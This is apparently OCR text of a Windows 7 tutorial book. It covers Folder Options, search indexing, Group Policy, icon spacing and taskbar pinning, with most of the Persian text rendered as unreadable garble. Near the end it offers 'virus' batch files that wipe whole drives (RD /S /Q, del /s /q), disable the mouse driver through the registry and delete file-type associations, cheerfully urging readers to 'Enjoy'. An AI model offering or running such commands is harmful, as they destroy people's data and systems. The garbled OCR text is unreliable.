(58S 0)Suis Sy (Sl @ 0)0 (Sl3ad 63 (S9 LON> g3 b Jald 5y sl
S 4k by 4 Hlpguas
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8-2-6(?) Display file size information on folder tips.

sl oz dS 65 (S9plg dode S)lo S (535b (il (3 ) guwli 2 Sy
Joi ) gl 93 (59539 gy Uwge b 1u0)S 3k a8 b )olgd pgS

e . e a>9.0l331 dSJ (595 0) 8 Wilogles

Folder views

You can apply this view (such as Details or lcons)to - o 3
@ allfolders of this type - e =" [,
Aoply to Folders Reset Folders B 8—2—5 ==
o e | | o p =
-./ e -v‘ anins ey Wesgaen 8
Advanced settings: - - e - .“.!ﬂwb‘.
s — " — o =
Files and Folders A s — —
(2] Avways show icons.never thumbials T EE— Pl
Nway: show menus L .
(=] ; RO 5
] Duplayhle se n‘ormu-onnbldu tips Ad e 1 telnds (Do
vanced settings:
[] Display the ful path in the tile bar ol enable this option .
Hidden files and folders Files and Folders "

(@) Donl show hudden fies_ folders o dnves [¥] Always show icons, never thumbnails
lz Always show menus

(O Show hidden files, folders, and drives
@ Hide empty drives
[ Hide extensions for known file types
[/ Hide folder merge conficts

Restore De H»dcien files md folders
(@) Dont show hidden files, folders, or drives
- = O Show hidden files, folders, and drives

[Z] Hida samntv drvas

8-2-7(?) Display the full pahtin the title bar.
ol L2 dlS 53 (Saplg dodle S)lo Sui (s Guinl (53 4 suwli Lz dS)yo
S )L Olsie b i F @ 0 940 93 (5palols 452098 (S iy poS
595 NIB 2 (2 S 9N oS @ gl gl 2 (S8 Jdgw

Folder Options X —
[+ = |C:\ﬁocument\ar_el adwords I 1
Gereral View  Search 5 . 8-2_8(?) Don t ShOW-
Folder views Home Share View

You can apply this view {such as Detals or kcona) to

T e 4 L sames sewes hidden file.folder.or.

et o | . drivers.

] Abways show cons, never trumbnais B Deskiop o+ -| apple blog

] Always sbowmenu!
53::.,: ie::::mm::?mf/ 4 Downloads + E_ debussy LS_) U I ;

2 "".. 9‘ o U':.. )db
~_r1H ttle bav] & OneDrive | Keyword Planner 201 - . -

tJDonldww-ddenHes folders, o dves

" ;;mmjulm and dives | — :] Keyword Planner 201: ‘5) LO S . 6-)jb . N |

(2] Hide extensions for known fle bypes _| Keyword Planner 201:
[ Hide foider mange conficts L

| Keyword Planner 201

s |4 | oz s o S99 dole

oK Cancal Aoply

Folder Options x S— ‘._AJ |) é lJ LS) '}l 99 P 95 9*.tJ L)

= . -]
General View  Sgarch 11 Properties
b

s | (R [ e — gl 4y A2 (59 (525 L)
o 9l (545 )l 5 by (5puS
2398 4 yige Joiy )algd

ol 99 ho S dsidhsr
k:,S A0 {160}4,3

Dispiay ﬂa slzemo(mahenm ok
L Dispiay the tull path in the bl bay
Hi dden H an d fddel

sions for known e types
[ Hide folder menge cor

ficts.
./ru o profected operating system fles (Recommended)

8-2-8 m=e=

Cancel  Apply
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8-2-9(?) Show hidden file.folder.or drivers.
0 0y S)lo S 53 U 93 (59 625 G o b Bl b yalgd S
S dxduo {164}y ol 99 hig S 3izlyes )aled 4y yige (b 0) S

I = X8—2—1O(’>)Hide empty.
B = " zsmasee—- drivers in the computer.
- - folder.
e Cs3b il (53 4 9l 2 AlSyo
oz US ol (599 dode S)lo S
15 &S OSal igaseS (slo 4y guols
b Sroo dS A2 (5353 )y
293 Gla b (59w b (59929
595 0)l8ub & 4y 42259 > 95 (59 05 b o piw
R o — 8-2-11(?)Hide extension for.

Folder views

Contains: 1 Files, 2 Folders
Created Saturday, May 22, 2021, 6:11:06 PM

Mtributes (W] Read-only (Only applies to files n folder
Advanced.

1
__ nficls
ot system mimen w
8 2 g Restore Defaults

o) G | [ o cancl

Youcan seplythe vew uch 2 'Je- o that
¥ou % wsing for this Fokd

e || 8 P T KNOWN file types.

FSd b Gl (59 4 gli > dS)He
L ol sl Lo ol (59505 dadle S)lo

ol > dS 9 (5)S Wbl Guinl Sl

0y poi A (53 il Wloglae by Hlub poS Foy DSy J>
b 59 92009 b (59 BguuSe by (59 Jold a5 dn oy (51 46 pgi S Lol
> 4 g 4B (59 (51519 52 o pS wbpsg 529l b (59 CuiogSly

5 |Panes Layout Showhide
v + ThisPC » Downloads » Test v 0 Search Test P
- Quick access . ’n\ - -

e @ [E i:
Ubaad (53 adE 0)) ASS din do o)) > dSEue
9>:595)3 15305l 5l (53 2l 5 a55 ding S0 1o

; 4 GShib o polo 3 gl b sl S5 4y

) e = d) 03)
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8-2-12(?)Hide protected operating system file.

ol 531 L ol (53)d9 dodle SHlo i (53 (pudinl (63 U ganli > UUS)o
0y S 4 ) Bglyls aieusas > agS 480 gl (5)S Lol (el Sgl Ly
% 0313 )= @80 Oelgi 9> (b 0) Sy ) ighd i ) gunliw o

(59 ($Ng> A dxS Lwong 2 S i Flwg G 2l Uil eiugw

o B XT_ 8-1-13(?)Launch

W folder windows
Rosat Foldors ff :f',:.’."‘.‘,
in a separate

process

d.o)l;nj)lpc_iqdmb Ol 6mebu>45}m
f?:? ) S gl (58 sl Gl Sol Ly ol (3! Ly ol (sl
FEESEEEEEE ) 668 (599l b (59 o> )aled b b6 92 gl 2
BouaLs === Spod> ) 0y (Rl Joo

)lu-@ Lz 29 )49“-05 4 Jollad upngyy Joo 15 o5 (5345 usmgn b
— ; Sa9)

General VW  Search

“A .. 8-2-14(?) Restore previous folder windows
s = gt logon.

o — 1 dede SHlo S (535b uiml (59 ) gl > S0
T | S ol () ol (il Sol Ly ol sl L' sspls
CEETEIEE (909955965 o> GilSoang o3 gl 2
R e 22 0 B9l 0b b 999 G HigapaS gunli S >

Ce ey gyS Gods b O igaseS 4w gl L2 dS gl (5)S

Lo.mclg(:,jlgg.).igg?&i-oMWUPO)L#JCAbgHQQQO)L}JCAbg?J

i

S9 Jgo &

Felder Options
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8-2-15(?) Show drive letters.
ol (3l Ly gl (59p)9 dode S)lo Suj (S33L il (53 4 guli > dS)o
0)\Sub digogs dsd 45 alyd guoli @ 13 g5 (538 Lolsasl Gl Sol Ly
7 aode S)lo S 4 gl 553 Ganls gl iy S ol pls uw 45U (565
& 9l by w as 695 0)15**’ 4 4 4J9°9J b)) guoliw o3 (5)S
)93 ol gl s

General View  Search

gl ] -
a0 Organize = Systern propertie: ange & s 0 @
o e 8 2-16(?) Show

B u foido ,,onh s type. Windows 7 (¢) g——— Drive letter showing
————

= encrypted or

S 504 GB free 07 199 6
1 B Co &
Lens ; compressed NTFS
Hide extensions for known fils types G T—
Hide folder merge conflicts 7 2 Gaire 3D
Hide system files

ded)
Launch folder windows in a st epar rate process fl les I n CO l-O u r
Reatore previous folder windows at logon P VGPE WORKGROUP v 400 GB

O Sh o ke i ocessor Intel(R) Core(TM) i7 CP. AL

o dor pre N n col

Shwpop-pd cription for folder and deskiop tems f S LD ),b )“])| d_) 9“)L) d_lS

Show preview handlers in preview pane ) L_s L_SJ LJ>

Show status bar

Show sync provider notifications

| Olsasl ol ol Ly ol iyl Ly ol S9pl9 dodle

Restore Defaults

oK Cancel Apply LS)SL)'LU)'-"OS)MggLJJLg (’DQSQJ.UDL,%QISQJL.S)S
A AS5) digogl U (Siley Wleglen €y 95 (5)S 1295 2 0j1NI L juw b
LSJLle'QuSW 160)@)9.‘0&”).‘.05& LSJ))Q.UJQ'LSJ)LJ.LUC[SJ

Goneral VieW  Search s ~ E y Generdl [ Secury | Custon | Sumnoy

L]
? i ] g
Folder views bk ] Cost
St

*fou can apply this view {such as Details or lcons) to all

<] I\ EEICE

COEEIRIE]

53 folders of this type. B il Bl e S
2 - ok [
Troeol Be  Miciosolt Excel Workheet
Apply to Folders Rosat Folders Sricnagraip Show files in color turned on i
. - i = Opers wathe [ Microsolt Excel
Advanced sattings: Locaiorr  CADocuments ard Setting:\FCIT\Deskiop
Hidden files and mer;e Soe 165 KB (16,356 bytes)

Size ondisk: 2000 KB (20,480 bytes)

E b s bt it 8_: 2_:] 7(')) ShOW po p_up Ciosied Theasday, Sepianben 02 2004, 730.25 P
| Hide protacted operating ysmm {Recommended) .
Launch folder windows in B separata process Modified Thursday. September 02, 2004. 7.38:38 PM

[CIRes n:lrEprsmuu lnldsnmndu atlugn ¥ 5 Accessed:  Today. Ap 21, 2006, 115522 AM
descri ption for folder s Ol Dl
Pr—_ pane L,

an d de S kt O p it e m S folder, file, properties, General Ac

3L Gl (3G g0l oz S0
s ol 53l Ly ol 59 dode Sylo S
e oz S 9l (538 Ol il Sol Ly
T —— b B8 agS 4y »iiagy wse b puuwyS
4 ) Dlogles 4o 95 (59)39 399

0)095 )Mg9 13 aS) (595 0,8 50
S 4l USJ

(©) Show rudden files, folders, and drives
[ Hide empty dives
[[] Hide extensions for known file types
[ Hide folder merge corflicts
[ Hide protected operating system files (Recommended)
[ Launch folder windows in a separate process
[] Restore previous fokder windows at logon
[ Show drive letters
[41 Show encrypted or compressed NTFS files in color

&E Show pop-up descrption for fokder and desicop tems Y
s
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8-2-18(?) Show preview handlers in preview pane.
ol sl L ol (59pls dodle S)lo Sui (s35b cpiinl (53 U guli > dlS)a
p9S S Ol HigseS sl 4 sl Lz dS ol (538 sl (il Sol Ly
Leluw Gy Fo uh&wé 4 swhw O 13 o sale€ Jad sa9 b p2gua5
| $9S O G 2yl L b

8-2-19(?) Use check

' {boxes to select items
Cl.o)Lch)Lo S dmb govie] Sd 9mbu>d.ls}g
e dS gl (5)S Ol Guinl Sol L ol (3l L ol (s90)s
Gl b (5288 S abys oS 4 9l 2
ey dhwly 450 46 (6)S Ol b (5)S Shw
($9 0095 S 480 (538 Ll L oy (sl

“fou can apply th s Details or lcons) that
=Z]  you are using for lh 1 \del dfdde,-soflh lyp

Reset Folders

- S—— “ 7 8-2-20(?)Use sharing.

4. d393d9ad8eddaed737950f26
[} Hide extensions for known file types

[¥] Hide protected operating system fies (Recommended) ["‘ | inetpub bl *

I e et s 5 p— ard(Recommended)
[} Restore previous folder windows at logen ey SEP T WIZ r

] Show diive letters M30Cache s

[#] Show encrypted o compressed NTFS files in color . NvIDIA

3 19870
[7] Show pop-up description for foider and desktop items ety | lJ Q.ls
B i il ; J. Perlogs 7113/20 L}.U..U LS.) CL.) 9.1..0 U>

'7 ). Program Files a1
o S | (| | = = 69)19 ol S)lo Sui (533b
8-2-19/ m===i || [ {1 8-2-19 i yudul Sol by ol o3l Ly gl

@ié?ﬂ”&ﬁsm Ol (83 ol Lz S ol (68 Ll
62 Salos sl Lz dIS ol (55 sl Cpingl Sol L ol (Wi L gl (595
Q) Ol 420 93 (535 Sopd b juidds b s9alo 4 HiguuaS o dJ H)e0 b (Jlo
B 2§35 o 4 guli 95 (5)S (5 dode S)lo SuddS ol (595,
oS Ol s juialroy » g 4 ygo 1 9| 25 s )90 by (hlo & HigusnS
[roseories o TTEVESE US d>0.0 (161)CU 99 u-b9

g“,m I | General | Sharng Smny_I_Pmm.uVu_nmu_u_mmmn_
i ' \

Natwaork Fie and Folder Shadng

Faldar w | |
| Ycu can apply the view (such as Detais or Icons) that | Scans
T3] youare usng forthis folder to al folders of this type. J ot Shared
: — " — Sk r
2 | Mot Shared
Click here
Advanced settngs
[ o
| Hide protected operating system fles (Recommended)  » Advanced Shanng
Launch folder windows in a separate process | Set custom pemissions, Creafte: multiple shares. and set other

Restore previous folder windows at logon Snlearond hesing st

7] Show dive letters | T

7| Show encrypted or compressed NTFS files in color g

#| Show pop-up description fior flder and desidap Aems
¥| Show preview handiers in preview pane

Password Protection

Fisople must have 3 user accourt and password for this
compuler o acosss shared folders.

hange this setfing, use the Netmos: and Sharing Cacter
-'u mat ahm:en othe Search Box
@ Select the typed item in the view
Rastore Defauls 1
oK Corcel | [ oo 1|
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8-2-21(?) Automatic type into the search box.
U.;.u|)dJuSJ|).39.n.‘.oSt5LodJ9mbU>d.lSQ| 6§ub=u|w|;59| Lo
95 £5299 byl 99> b (6993 92 S DgS Ji> 9l S B9 (53 o
525 )l sl 99)> poS 2 649') Ologlao d2o gwli 4y Jgo» Sinesil

]

(e R N

E-nsld Vew | Search

8-2-22(?) Select (s

Foider views # Quick sccess.

You can apply the view fEuch as Detals or kons) that 1B Desktop
Fongas o Brees the typed item in

[ feplyto Foiders Resst Folders | = Documents

=] Pictures

rrrrrrrrrrrrrrrr the view

e d.o>Lc -.S)l.o ‘S.q L_g.‘ub Ol (50 4 gl o2 alS o
MME S gl S ol iyl Sl Lo ol 3l L ol s
e 900 2 S 93 (6)S Y5 Sal NigasaS (Slo gl 2
1 L)ag0 d90 93 (5)S Y KBl B9x> 92 S DyguS
u§>|) L LJ-‘LQ
o>h U Ologles dlyy didaes v Siler LSb ) U Ologles )4 gl

- 8-2-23 Restore default.

Gensial View | Semch|

Folder views

£659 SlS (53b il (69 4 9li 2 Sy
Oinl Sol 49 95 £6)S9 SIS (533b (sl @ Ly
[ Launch folder windaws in a separate process -
g 5 sadNTF:lﬂeiin(Dhr LP dJ9J9JAJ 695 lJ 9-‘-0[-‘-’-” 9J 6)59 Li‘ls L—SJJlJ

i lolder and deskbop items
revIew pane

e Plo>y 4 By ($3 Guwgly S guinigl) L
[ st i“h’i.m““J J fsoalg
_ estoreDefats | [ s T N =X

(i3 | Cancel ‘ j | [ General | View | search

Folder views
‘You can apply the view (such as Detals or lcons) that
you are using for this folder to al folders of this type.

)..Q 9[; 095 do )J-} CU)Q—C )-Q L_)S "1)9) CU I Advanced settings:

Files and Folders

09S do Llg> &5 o> B e s it

|¥] Display file icon on thumbnails

& . . . LA L [¥] Display file size irformation in folder tips
(5_\_] ) LJ_Q})_”;_L‘_@ e ;jgg_s [y ))J I Display the full pathin the tie bar {Classic theme ony)
- - . e Hidden files and folders

- () Don' show hidden fies, folders., or drives

@ Show hidden files. folders. and drives
[¥] Hide empy drives in the Computer folder
| [ Hide extensions for known file types

JEd] Hide protected operating system fies (Recr—.as0cd) B

Restore Defaults

I OK Cancel Apply
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{8} Folder option{3} Search.
{8-3-1}in indexed location, search file names and.
Contents.in non, indexed location, search file names only.
i) el 4 Eilg GSlie ol digegi Jalo 3 (S S (Sob iy @
B8 poS 00l S alyd 03 aSJ Eibyg Wigogi Jald 5 (5loy 1S (S5 (Soud
a8 (59 39290 S B 13 U513 ) iz ol (595 0,8 ¢ 4 503 po)

0 S 513 (595 )i B (53l 1 S by o 954595 0)Sis e
Folde Optons | P 9.) ded o )lS.A.jJ < 8]

General | View | Search

= - 8-3-2 Always search file names and.

@ In indexed locations, search fie names and conterts
In nondindexed locations, search fie names only

s [0 contents(this might take several.

rch J—

.
How to searc!
N et || | Minutes).
folders
s e Syl S 33 5 2 dlS
mmmmmmmmmmmm
Don't use the index when searching in fle folders for system 4-0 ) A 6AJ.M 6)429.&0 u? )Q
X z 2
. s Fy

Nad fuahis might take longer)

e
—d

e S 6saS ol gl Sol Lu ol (3l Lo ol (59509

Include compressed files (ZIP. CAB..)

(o (oms | (uuirdy >y (849
8-3-3 Include subfolders in search S

results when Searching in file. 1

folder | what to search
) Inindexed locations, search file names and contents.

In non-indexad locations_saarch fils namas onlv

g S [; LS')JL‘ I" LS-) q’ 9.LIJL’ U> Q.IS).Q : O‘J:xzﬁgLﬁ:‘gmmmasanﬂ contents (this might take
tjgl Lu 9| Lg§lJ| lJ.J gl 69)]9 €Lo)l_c LS)LO How to search

¥ Include subfolders in search results when searching in file

29 S ohb Oeds 93.5)S Ll Gl e

[]Use natural language search

US),)Jg_Q J)l_g B U> dls KS)S JDLUJ )_)J9_9 | Don't use the index when searching in file folders for system
S 49[@‘ 09 )99 S J21s 4y ))g0 |s (izy E59S (ol

Folder Options

aaaaaaaaaaaa
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8-3-4 Find partial matches
ol 53l L ol (5909 dodle S)lo i (533 (il (53 @ guols > AS)yo
QSMPQJPQSQMI.JLJD‘QB&QS)LSIJQJ|.)9J‘5)SL_)LDUJIMILSQ|LJ.J
‘§9gswd9|®)¢a¢539ﬂm9>t§95@wbu%l)m\199‘-‘ledebb
95 13y (2 0 4 90l 9> (59 S >l 4 b gl (59 S o 4y pgi 4o Ly

8-3-5(?)Use natural language search.
dode S)lo i (s Gl (59 W gwli > dlS)2
dS 95 538 Olaasl Gl Sol L ol 531 Lo ol (590l
4202 4 95 (59)1S ) dogS S NiguraS 4 gl 2

m— u-‘-*’ 6395 O9d L @3
e [ Folder Options o |
8-3-6(?) Don't use the index when. «;ﬁ-ﬂi;;m;mﬁﬂ
Searching in file folder for system. v
file(searches might take longer). }}l'g“wﬂ;;w;/

Don't use the index when searching in file folders for system
%eisem-—\-;-(!e-rger

When searching nonndexed locations

dode S)lo Sy 3L il (55 U gl > dS)o
563 (58 Wlsal (il Sl Lo ol (sl Ly ol (soplg|  “=ee:
9J9S gl S )99 Lol 5 o)l ald i —

45 4 0,5 0,15, @il iloslaa Joi (sins 58)lS da oL Jlgons
(g a9 202 (S0o Hoid)s9 phSHea b ol yaJgd Ly ol (59 Jald

Folder Options HH

8-3-7(?) include system directories.
o e M)Lcd)b@.gksxbu.&wl&.\d)gmbydls)ﬁa
e |29 @S ubuﬂ Ol Sol Ly 9' siﬂ L ol 69)19
i) st 4 Gilg GSiliio ol digogs Jald 5 .S
S Eilig digegi L83 Shlor (S S (s9u
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8-3-8(?) include compressed file
ol Ml Ly 9l (599 dodle S)lo S (533b (il (53 4 9wl Lz Sy
oz s Ol 13 595 09l sasls oz S g5 (538 sl l Sl Ly
02 )90 b blo(Jos S5 S b JgoS 05lail )deo b L8 15) yuyueS

$o Jold S
8-3-9 Restore default. '

-.S..LlS(_«;.)JbL_-;)bld.Jbgldﬁg&ﬁéxbwmlggduwbydﬁp
Q 2 Vgl pgS 15 guvliw o3 ¢52S9 Sals 6-le Ol Sol @ 93 ¢5)Sg
&Soale U I Liledg db diju (53 iwgly LS gwiwgl)

o e % If folder option does not work.
595 )5 Gl Jg8p 52 85 S 45
= 55 59035 (57 (578 4 gual (] 259 45
b o2 (56573 s 52 0 guul ol 5yt
33 J> 093 8lo19> 95 guods i 1
doyg ol Jolliwil jouing 1 Lo 0)3 Joli (s
($)3 d gigaileS 9iliiyi b Sigw 0)3 J>
Solliwil L joaing gwli dijuz aS 9> Jg 19>
Q]Qloglﬂndgjg.mtﬁy|.))lJ9|u.LmJ9CA_">9)JQCUCL'239mUQJ
4 bl 4 Jol(1)dapb glg)e> 53 d gigaileS )i 3 diise
25 Ol il ooy @ S 90 )liw jeaig

| OK i Cancel

L P e & Erod -
9 & ;
A & -
- s ]-:t :
? R
; ® = B i
& v a o
L ]
= Run X

Gpedit.msc=group policy editor
1-Run-->Gpedit.msc press Enter

Type the name of a program, folder, document, or Internet
=/ resource, and Windows will open it for you.

Open: [ FESINRER

| QK [ Cancel Browse...
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2-Click on administrative Templatc

3-Windows component-->Windows Explore double click --
>Double click on Removes the folder option from the tools
menu -->Not configured -->0k

4-Go control panel-->click on folder option it will work

e
o b by b e e b
Ll [}

(9) Delete (10) Rename (12).
Porperties.

(11) Remove properties.

L )lS uS 099l L O )99 U 2SI
B S o2 oS LS e L o) (598
~ 215)3 Wlogleo Ly

SearCh. @uv b=| » Libraries » Pictures
}39-‘--:-05 l§Lo d:! L=>->,- k;)":b L‘-ngs QUJU k_:stL.) ‘\jLOS LESJ dT.! lOrganize' _ZJOpen S:mev
SAS do)l) gl o SxS lan Dlogles den USUSJI % cor
Lol 59 b Lol (59 )Me9 &S Dloglao ava (59 =
g ‘ 69 CLAS.;J L_,.u.o L! L,,uuog.Sl,} - f"“:’” ’
iy R T X Navigation ;:laie . Addrcssjﬂi Tuoib: j rch box B F:::era“dmrchopﬁms
—— 4"’“ J = |x i
':.”‘” -7b ... f_l-‘ E’f;i:::jx o _.;/ - _ﬁ/ -'_kf/ 'g/ Details pane p::;:r:;IEP:-_E-
J Extra information picture
|
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How to resize icons and their spacing in Windows 7.
9,3 galize 15 Jola 051l Llold (S0l S Houw joaise 4
003 )98 2 3 95> S 4o (147)4y (53 hg y9o Sowe Wloglao s
1-Right-click on the Personalize 9953 Ologleo
2-Inthe Personalization window,click Window Coloro ption.
3-Then, click Advanced appearance settings :

Refresh

4-select the Icon Spacing
5-Select the new icon spacing size T
6-Click OK to return to the desktop B oo souon

@ Gadgets

e e S o B [ b s 3 @ personalize
N [P rA—— - & Window Color and Appearance
R = -~ - -
Window Cokor a0 ACDbar ance.
- -~ o
o S Insctive Wondon
. - S “.  Window
IH N Hormal Selected
MR TR = =
e -
s Message Bon
1 ' Message Tt
oK
R P Te tun on Windews Aere, select 2 Windows theme. Colors and saes teected
- e, |® Ihere apphy only if you have selected the Windows 7 Bassc theme or an Exse of
& Window Color and Appearance
fincow Color and Appearanc
Inactive Window
Auctive Window
Normal
''''''' et
Message Text
0K
To tum on Windows Aero, select 8 Wi Vinvdows therne. Colors and sizes selected
here apply onky i you have selected the Windows 7 Basic theme oran Easeof | | (| 10 TS T
Access theme

Item:
{1on Spacing (Horizontsl)

051l giglSiy )Ag8 (5)3 emgd

o 6 e ITRNRY

9)M98 483 = Gilge (62 LONE Nl YigrreS (Slo ) gl 2 AIS yo
b Ol Col) S dobio b gaing dand 4y o5 (5)S ,izeS b Gt diglSiy
M 890 a3 Gl Oed b Zow b S Zal

.....
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Changing the colors of folder icons in Windows 7.
Jo) 93955) 93985l Hagd 3 S 7 jeaizg 4
s3s8 95 Jagg S dxio(163)dy Jolay JSub 258 13 (55les yoo Sxo
6> 92 s 2 (S U S L) b Gl 15 ;€ 2 JoSre Sy &5
(S )3 digogi gigininSh

1-Folderlco 2-Folder Colorizer 3-Rainbow Folder
4-iColorFolder 5-Folder Marker 6-TrioX Labels 7-Folder
Color 8-Fcorp File and Folder Tools 9 Fo derH|ghl|ght 10-

La bels W 1N -
[ tirvic treparsas = - =i I = |
Ganerd | Shang | Sacumy | Prvie Jer.ml | . -- - 3 amepia
e df Change leon for Eslamic = : % e R o 2
Ortimuze this folcer fa
| o for icorm s s - - . ﬁ :
T | T | [ s, | — s [
Ploo 2ply s 10| et an con from the it ek e : g il
======== -- Ml -i- e, E——
ot o] m@v 7y,
|| Crocae e, | j F"“ = Mo folder scied ——
L Femore Defauit | i W E ﬁ - — a e | Rweem | | Favbe ]
PR O8 =040 e, - e (bt bl [ptscai | 25
o co chong 23 = Q@ H.Ea et | Ot
St ) e O : apfdty.t8m - e || i i) (i) | i
Change lcon.. i . - - - - -
1634 —
|
|

How can we delete all the information on the computer by.
this virus.

Q uw9r9 15 925 by Dloglee Joi S NguaS 4y 2 g ($F9S ASiS
J29 Buio d Ly doi o 3 9lgp9> Gworg Sbijhas b dhawlg

Gl Lo dod digaeS Ju> 1o 2 o (5395 9wl (535 Lworg $o
$r800 b Ly 2 $alst b ol ()5 Gdas alys p9S L2 salst b ol (5S
b3 b Ologlen Joi S NgaseS > o 15 2 saloe b gl (S o

1> ol (525292 UWENY AES L2 i ($B8S gLl dSe3 (S20d 4y gl (5)S by
4169-% ol tsgiumly dlawly ay yo3 Ll b ol wgs sl b il dJ y &5
SBb uinl 4és 4y (a2 Lz AS 55 £5)Sg SulS (s3b 4és 4y Lz oo
15 dly> 5wl b gl i ey leglas (a2 15 4 Siwosil o5 £5)Sg SulS
(SIS o ASe) g g 498 S NigaaS 4 2
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G doli e 4 95> (59 S HM99 poS b 9l (59 Fosy PliSeunn g S 4o
g8 dey Lz dlS o g gl i dorgy 3y Sob Lz 4S5 (S92
®)99*ubu>e95uwvb9Luamudu—ia-ws«ﬂy«sésaﬂdxb
09228 il S ¥issseS 4y Lz AS 8599 (5)S10> JSub 4y Lweysg |5
il gl (585 45 )18 Cpabgl 4€3 S 4 4y (55 Jliawsl alsS)ss b (painiSY
)MUdeﬂ-msﬁvbéw}esadeJudew&wwlumu»g»g
2192 OZ UP9RY 483 gl 2 dlS Ha 2 1 0305 04> dago 4y gl (59 4o
L ol plxS9 99 b s 93:4S) S919> (2 0 S pliS)Hgy USW @ 83 (59
‘Z@OJBO)P%@G-MM;A‘}C@wbg.?.éywbsg)f})g-*wb
PP )& A diuwg)g 453 9lg)9> 15 95 (S929> LWoNg A€ guwli > dlS )0
CUO-ﬁ-"UUSJUC;J|M-‘U5)'>|4J9'>(5§)9meﬁmogupwt‘@
S S50 4 G2 6259 W (LI ol Sl b gl gl ) diwg)g ol ($x5)9

o 0313 S glg)e> ugig 15 49 glos duisgs guoliw yg3 S9

1-Noteped enter press s — T
RD/S/Q C:\ s T
RD/S/Q D:\ abva A o |
RD/S/Q E:\ ' e
RD/S/Q F:\ _

2- Save in the computer enter name(v.oui are like vour
{RD=remove (delete) a directory} | := :
{S=system} En’ter name
{Q=Quick} WTLJ T —

{C,D,E,F=Drive name}

] L]
e, W, il Ay S

9 SH9 Lw9ng
4 Siwogil
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How to create antivirus?
© 0929 )N99 (S35 (Siled 95199 25292 LwING MO 2 9 ($BgS ASiS
9> (59 4 Olvgy J919> Uwang S 428 9l Jois> 4. Spuihy

S$9S B9 L LS
1-Open notepad and then type the following codes

Attrib HS R C:\ravomon.exe
Attrib HS R C:\ravomon.inf
Double enter

Dell C:\ravomon.exe

Dell C:\ravomon.exe

2-then Seva the file by the name of antivirus.bat
How to create virus computer all data delete

1. Open Notepad and copy below code into it.

Fie gt Fommar View Help

S ATTRIE H § R C:\RAVOMON.EXE

Bl DELL C:\RAVOMON.EXE
PELL C:\RAVOMON.EXE

| Cruss - Notepad

I File Edit Format View Help : @Echo off
@echo off Del C:\ ** |y
del C:\*. %/ /5

/q
del D:\*.*/T /s /q
ge} E:\". *r:: /s /0
2] F:\*.» /5 /
¥ S /9 2. Save this file as virus.bat (Name can be anything
but .bat is must)
3. Now, running this file will delete all the content

of C Drive.

# Open Notepad and copy below codes

¥ Copy the below codes into Notepad.

rem Disable Mouse
set 0100701100011111001001070701070
key="HKEY_LOCAL_MACHINE\system) 1010000011111100000

CurrentControlSet\Services\Mouclass"
reg delete %key%

reg add %key% /v Start /t
REG_DWORD /d 4

w

=

o

= |

o

7
- e e
=

¥ Save the file as Format.exe

¥ You have created your virus. Enjoy !!!

# Save this file as virus.bat

Open notepad enter

@ECHO OFF

START reg delete HKCR/.exe

START reg delete HKCR/.dll

START reg delete HKCR/*

Now save it as SEO.bat and the batch file is created.

Page 199
_a90s




(c) ketabton.com: The Digital Library

Add option to search option.
Joib) ol )i & Guinl (i
)9 S )Me9 b Jlo 4 5g0 S Gl Ol 4 2 Salel sl 2 dIS yo
u><‘-159|nsguw‘ugﬁus‘sb)!b@ﬁwdnguﬁmub}l&ﬁ
J99 33 4 955 Hsid ygo
1- search box enter press(indexing option) or control panel
on the indexing option.
SHS o> A Gl 4y 93 (6)Se Gl Hed 48 gl > dS )y
2-items indexed.
o (§39S O9il S 9595 L 9iluid 02095 Lz (i3 gl (il 4y
3-induded location.

A (39S o)) (gl uScSL> >l acs 4 EFEIIR gl il deo
4-Exdude.
._,:-dSot_g}lgSuu.uug,,Jwa,S(_ng;.)dJupum).\gmbwwld.c.\

S o)LJ bghlo eiwpw )igareS 1 Lg)lg_) $sB bb

5-Modify.
A0 b 9aidg (598 U gwli Ay diwg)g (525 Wbl il acs > dlS )
Ol d5)g 93> Hoi) b (535S 9wl gaing A€y 3 b LN
$259 0oi) LS S peS 4 L2 ol Yol Guingl Heid LS alys 4 (5)S
l5L>L)9+JL5‘Dbd“°>Lc"'5)L°‘S*‘}dJL7‘5ULS)SC'UQLJ%‘ILJSKSIDP9SQJ9|
u9+1u5«5L>u9+J°)m9J95n5)1‘1340>‘&‘5)‘-°l5~4®9|«5)59uwu5
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Frequently Used Programs or display programs.
93900)Sgxy (Sl b digelySon (e Jlasiuwl Jgo y)So 4
So Jo)S digi>g (5309 <SS Pgeinmgmn Sildes gl ol 7 590009
9390)Sa ) Jod 3 «Soud Caid S 45 iz @) gino o)l 3 digol)So
S MgaaS 4y ) M9 gigol)So 8Jai 3 (535 & Fal (S (533 3 Oyuw ) )g8

u’)9‘°u—"&5-’-’9’9~°‘1’9-°|)§9)3mu56l>4534’u*9-’ (594D ]
99 Jlosiwl

How to move icons from frequent users

or display programs to the desktop or

taskbar.

B 5126 b sSgllosiwwl ))Se d 2 g (5FgS 4SS
OOl 6 4y HLSwli b &6 OliSiund 3 gigol)Sop

9191
1-Open the start Menu on the program
| right click.

5255 SalS il (s3bbs> Ll b 4 o ol (5)S pod> 4 sige D)lin
2-Pin to Taskbar

SlS Gl $33b 9igolySo i (5)lai b 9gllasiuwml ))S0 guoli 2 dlS yo
6)SL_Jl2uJ|uu.U|Q£.)9uJbU><LLS).Q o>l 9wl 4 il des 65 (5559
SE» s LS-”L‘ 4 ) LSwli &.0).: ul,;.iu.u,) 9_..ub.u.3 <0 (:\I)S’g).) dc) 9J

W - =

i — T P 1 A , e
[l = = V‘ :?- < o :V“ [a] v
3113 : P g j i & F i 8 é

| @
G2 Q2 (58509 U Ll 4 Hluil i gl ile S g5 @
)33 4 JoSuw 4y by ol Hgitizgy b Liuw)gig)
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3-Pin to start menu.

S Gy (535 sinoliSan ()1 b sSigllaniasl xS0 gusls oz 4l o
gl 2 dlS 12> 9wl 4 Gl 48 S 93g0l)So ) sy 4 93 (5259
2> QO @ Foy LSy 0 pl)Sgx as o5 (5)S Ol Gl 4o
o S b a

Removing shortcuts from the taskbar.
J9S s 46938 )l 455 )L Swlj o
)Ut—iwbésﬂ 5259 SlS b 09Sal S o)l 50 3 S )b Swli 4
| ..E‘;EBE\SSZMMIT - - |M O Calculator {55 0)9¢ UUJI b

lal Calculator

EX Command Prompt
@9 Connecttoa Networl _ OPeM
B Connecttoa Projecte “‘_' Run as administrator
| Getting Started Open file location
o Math Input Panel i

_ Notepad

22l Paint

& Remote Desktop Con
5] Run

=% Snipping Tool

L Sound Recorder

Sticky Notes

User.
[9 Sync Center

Ol (63 4 Lz (59 WloS 428 yigasaS ool

| sl Jlge Lasl 7 b lgeslas guli sl
S S Olws SS99)8 b ol CdsS )is peS
